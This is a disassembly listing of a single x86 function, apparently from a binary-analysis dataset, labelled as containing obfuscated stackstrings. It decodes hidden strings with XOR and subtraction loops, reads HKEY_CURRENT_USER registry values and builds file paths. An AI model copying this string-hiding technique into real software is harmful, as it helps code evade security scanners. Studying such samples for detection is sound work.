Function at 0x42fd8c
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov eax, 0x453d75
call fcn.004534f4
sub esp, 0x24c
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov edi, ecx
xor ebx, ebx
mov dword [ebp - 4], ebx
push 0x406fc4
lea ecx, [ebp - 0x64]
call fcn.0040bc98
mov esi, dword [edi + 0x374]
movaps xmm0, xmmword [0x4083a0]
movups xmmword [ebp - 0x1e0], xmm0
movaps xmm0, xmmword [0x408320]
movups xmmword [ebp - 0x1d0], xmm0
movaps xmm0, xmmword [0x408390]
movups xmmword [ebp - 0x1c0], xmm0
movaps xmm0, xmmword [0x4078f0]
movups xmmword [ebp - 0x1b0], xmm0
movaps xmm0, xmmword [0x407a20]
movups xmmword [ebp - 0x1a0], xmm0
movaps xmm0, xmmword [0x407150]
movups xmmword [ebp - 0x190], xmm0
mov edx, ebx
mov dword [ebp - 0x88], edx
cmp edx, 0x5e
jae 0x42fe44
movsx ecx, byte [ebp - 0x1e0]
and ecx, 0x8000000f
jns 0x42fe31
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x1df]
sub al, cl
mov byte [ebp + edx - 0x1df], al
inc edx
jmp 0x42fe12
mov byte [ebp - 0x181], bl
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0x1df]
push eax
push 0x80000001
call esi
push 0x406fc4
lea ecx, [ebp - 0x150]
call fcn.0040bc98
movaps xmm0, xmmword [0x407a10]
movups xmmword [ebp - 0xf3], xmm0
mov byte [ebp - 0xe3], bl
mov ecx, ebx
mov dword [ebp - 0x8c], ecx
cmp ecx, 0xf
jae 0x42fea4
mov al, byte [ebp + ecx - 0xf2]
xor al, byte [ebp - 0xf3]
mov byte [ebp + ecx - 0xf2], al
inc ecx
jmp 0x42fe82
mov byte [ebp - 0xe3], bl
lea eax, [ebp - 0xf2]
push eax
lea ecx, [ebp - 0x138]
call fcn.0040bc98
lea eax, [ebp - 0x150]
push eax
lea eax, [ebp - 0x64]
push eax
lea eax, [ebp - 0x138]
push eax
push dword [ebp - 0x68]
call fcn.004209fe
lea ecx, [ebp - 0x138]
call fcn.0040bc59
lea ecx, [ebp - 0x150]
call fcn.0040bc59
mov eax, dword [edi + 0x378]
push dword [ebp - 0x68]
call eax
cmp dword [ebp - 0x54], ebx
jne 0x430164
mov esi, dword [edi + 0x374]
movaps xmm0, xmmword [0x407f30]
movups xmmword [ebp - 0x11d], xmm0
movaps xmm0, xmmword [0x407f00]
movups xmmword [ebp - 0x10d], xmm0
mov dword [ebp - 0xfd], 0x717a666b
mov dword [ebp - 0xf9], 0x74684e79
mov word [ebp - 0xf5], 0x73
mov edx, ebx
mov dword [ebp - 0x90], edx
cmp edx, 0x28
jae 0x42ff73
movsx ecx, byte [ebp - 0x11d]
and ecx, 0x8000000f
jns 0x42ff60
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x11c]
sub al, cl
mov byte [ebp + edx - 0x11c], al
inc edx
jmp 0x42ff41
mov byte [ebp - 0xf4], bl
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x11c]
push eax
push 0x80000001
call esi
mov esi, 0x406fc4
push esi
lea ecx, [ebp - 0x138]
call fcn.0040bc98
push esi
lea ecx, [ebp - 0x150]
call fcn.0040bc98
lea eax, [ebp - 0x138]
push eax
lea eax, [ebp - 0x64]
push eax
lea eax, [ebp - 0x150]
push eax
push dword [ebp - 0x1c]
call fcn.004209fe
lea ecx, [ebp - 0x150]
call fcn.0040bc59
lea ecx, [ebp - 0x138]
call fcn.0040bc59
mov eax, dword [edi + 0x378]
push dword [ebp - 0x1c]
call eax
mov edx, esi
lea ecx, [ebp - 0x64]
call fcn.00412c2f
mov edx, ebx
test al, al
je 0x4300c4
movaps xmm0, xmmword [0x408720]
movups xmmword [ebp - 0x81], xmm0
mov dword [ebp - 0x71], 0x836b7f7e
mov dword [ebp - 0x6d], 0x70837073
mov byte [ebp - 0x69], bl
mov dword [ebp - 0x94], edx
cmp edx, 0x17
jae 0x430042
movsx ecx, byte [ebp - 0x81]
and ecx, 0x8000000f
jns 0x430035
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x80]
sub al, cl
mov byte [ebp + edx - 0x80], al
inc edx
jmp 0x430016
mov byte [ebp - 0x69], bl
lea esi, [ebp - 0x80]
mov dl, 0x1e
mov dword [ebp - 0x33], 0x6e6e5f1e
mov dword [ebp - 0x2f], 0x7f6a7f5a
mov byte [ebp - 0x2b], bl
mov ecx, ebx
mov dword [ebp - 0x98], ecx
cmp ecx, 7
jae 0x43007e
mov al, byte [ebp + ecx - 0x32]
xor al, dl
mov byte [ebp + ecx - 0x32], al
inc ecx
mov dword [ebp - 0x98], ecx
mov dl, byte [ebp - 0x33]
jmp 0x430063
mov byte [ebp - 0x2b], bl
lea eax, [ebp - 0x32]
push eax
call fcn.004494dd
pop ecx
push eax
lea ecx, [ebp - 0x210]
call fcn.0040bc98
push esi
mov edx, eax
lea ecx, [ebp - 0x1f8]
call fcn.00417bac
push eax
lea ecx, [ebp - 0x64]
call fcn.0040cac9
lea ecx, [ebp - 0x1f8]
call fcn.0040bc59
lea ecx, [ebp - 0x210]
jmp 0x43015d
mov al, 0x63
mov dword [ebp - 0x2a], 0x64677763
mov word [ebp - 0x26], 0x6477
mov byte [ebp - 0x24], bl
mov dword [ebp - 0x9c], edx
cmp edx, 5
jae 0x430107
movsx ecx, al
and ecx, 0x8000000f
jns 0x4300f1
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x29]
sub al, cl
mov byte [ebp + edx - 0x29], al
inc edx
mov dword [ebp - 0x9c], edx
mov al, byte [ebp - 0x2a]
jmp 0x4300dc
mov byte [ebp - 0x24], bl
lea ecx, [ebp - 0x64]
cmp dword [ebp - 0x50], 0x10
cmovae ecx, dword [ebp - 0x64]
push 0x5c
push ecx
mov edx, dword [ebp - 0x54]
call fcn.00417f5c
push eax
push 1
lea eax, [ebp - 0x240]
push eax
lea ecx, [ebp - 0x64]
call fcn.0040c0be
lea ecx, [ebp - 0x29]
push ecx
mov edx, eax
lea ecx, [ebp - 0x228]
call fcn.00417bac
push eax
lea ecx, [ebp - 0x64]
call fcn.0040cac9
lea ecx, [ebp - 0x228]
call fcn.0040bc59
lea ecx, [ebp - 0x240]
call fcn.0040bc59
jmp 0x4301a8
mov dl, 0x55
mov dword [ebp - 0x23], 0x34312155
mov word [ebp - 0x1f], 0x3421
mov byte [ebp - 0x1d], bl
mov ecx, ebx
mov dword [ebp - 0xa0], ecx
cmp ecx, 5
jae 0x430199
mov al, byte [ebp + ecx - 0x22]
xor al, dl
mov byte [ebp + ecx - 0x22], al
inc ecx
mov dword [ebp - 0xa0], ecx
mov dl, byte [ebp - 0x23]
jmp 0x43017e
mov byte [ebp - 0x1d], bl
lea eax, [ebp - 0x22]
push eax
lea ecx, [ebp - 0x64]
call fcn.00417aba
lea eax, [ebp - 0x64]
push eax
call fcn.0041e788
test eax, eax
jne 0x4301c2
lea ecx, [ebp - 0x64]
call fcn.0040bc59
jmp 0x43046c
lea ecx, [edi + 0x3b0]
push dword [ebp + 8]
call fcn.004439d9
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0x48], ebx
mov dword [ebp - 0x44], ebx
lea esi, [ebp - 0x4c]
movaps xmm0, xmmword [0x407910]
movups xmmword [ebp - 0xcf], xmm0
mov word [ebp - 0xbf], 0x2e47
mov byte [ebp - 0xbd], bl
mov ecx, ebx
mov dword [ebp - 0xa4], ecx
cmp ecx, 0x11
jae 0x43021d
mov al, byte [ebp + ecx - 0xce]
xor al, byte [ebp - 0xcf]
mov byte [ebp + ecx - 0xce], al
inc ecx
jmp 0x4301fb
mov byte [ebp - 0xbd], bl
lea eax, [ebp - 0xce]
push eax
lea ecx, [ebp - 0x168]
call fcn.0040bc98
push ebx
push esi
push ebx
push ebx
push dword [ebp + 8]
lea eax, [ebp - 0x168]
push eax
lea eax, [ebp - 0x64]
push eax
mov ecx, edi
call fcn.0041f76a
mov byte [ebp - 0x11], al
lea ecx, [ebp - 0x168]
call fcn.0040bc59
mov ecx, dword [ebp - 0x4c]
test ecx, ecx
je 0x4302dd
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x1c], eax
mov esi, ecx
mov dword [ebp - 0xa8], esi
cmp esi, eax
je 0x43028d
mov ecx, esi
call fcn.0040bc59
add esi, 0x18
mov dword [ebp - 0xa8], esi
mov ecx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x1c]
jmp 0x430271
mov eax, dword [ebp - 0x44]
sub eax, ecx
cdq
push 0x18
pop esi
idiv esi
imul edx, eax, 0x18
mov dword [ebp - 0xac], edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4302c5
add edx, 0x23
mov dword [ebp - 0xac], edx
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x430483
push edx
push ecx
call fcn.0044488d
pop ecx
pop ecx
lea eax, [ebp - 0x4c]
mov dword [eax], ebx
lea eax, [ebp - 0x48]
mov dword [eax], ebx
lea eax, [ebp - 0x44]
mov dword [eax], ebx
movaps xmm0, xmmword [0x407aa0]
movups xmmword [ebp - 0xe2], xmm0
mov word [ebp - 0xd2], 0x4a3f
mov byte [ebp - 0xd0], bl
mov edx, ebx
mov dword [ebp - 0xb0], edx
cmp edx, 0x11
jae 0x43032e
movsx ecx, byte [ebp - 0xe2]
and ecx, 0x8000000f
jns 0x43031b
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0xe1]
sub al, cl
mov byte [ebp + edx - 0xe1], al
inc edx
jmp 0x4302fc
mov byte [ebp - 0xd0], bl
lea eax, [ebp - 0xe1]
push eax
lea ecx, [ebp - 0x258]
call fcn.0040bc98
push eax
lea ecx, [ebp - 0x64]
call fcn.00412646
lea ecx, [ebp - 0x258]
call fcn.0040bc59
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x38], ebx
lea esi, [ebp - 0x40]
mov dl, 0x37
mov dword [ebp - 0x17], 0x47565a37
mov word [ebp - 0x13], 0x1d
mov ecx, ebx
mov dword [ebp - 0xb4], ecx
cmp ecx, 4
jae 0x430398
mov al, byte [ebp + ecx - 0x16]
xor al, dl
mov byte [ebp + ecx - 0x16], al
inc ecx
mov dword [ebp - 0xb4], ecx
mov dl, byte [ebp - 0x17]
jmp 0x43037d
mov byte [ebp - 0x12], bl
lea eax, [ebp - 0x16]
push eax
lea ecx, [ebp - 0x180]
call fcn.0040bc98
push ebx
push esi
push ebx
push ebx
push dword [ebp + 8]
lea eax, [ebp - 0x180]
push eax
lea eax, [ebp - 0x64]
push eax
mov ecx, edi
call fcn.0041f76a
mov byte [ebp + 0xb], al
lea ecx, [ebp - 0x180]
call fcn.0040bc59
mov ecx, dword [ebp - 0x40]
test ecx, ecx
je 0x43044e
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x1c], eax
mov esi, ecx
mov dword [ebp - 0xb8], esi
cmp esi, eax
je 0x430402
mov ecx, esi
call fcn.0040bc59
add esi, 0x18
mov dword [ebp - 0xb8], esi
mov ecx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x1c]
jmp 0x4303e6
mov eax, dword [ebp - 0x38]
sub eax, ecx
cdq
push 0x18
pop esi
idiv esi
imul edx, eax, 0x18
mov dword [ebp - 0xbc], edx
mov eax, ecx
cmp edx, 0x1000
jb 0x430436
add edx, 0x23
mov dword [ebp - 0xbc], edx
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x430483
push edx
push ecx
call fcn.0044488d
pop ecx
pop ecx
lea eax, [ebp - 0x40]
mov dword [eax], ebx
lea eax, [ebp - 0x3c]
mov dword [eax], ebx
lea eax, [ebp - 0x38]
mov dword [eax], ebx
cmp byte [ebp - 0x11], bl
jne 0x430458
cmp byte [ebp + 0xb], bl
je 0x43045a
mov bl, 1
mov byte [edi + 0x3e1], bl
lea ecx, [ebp - 0x64]
call fcn.0040bc59
or dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret 4
call fcn.00448974
int3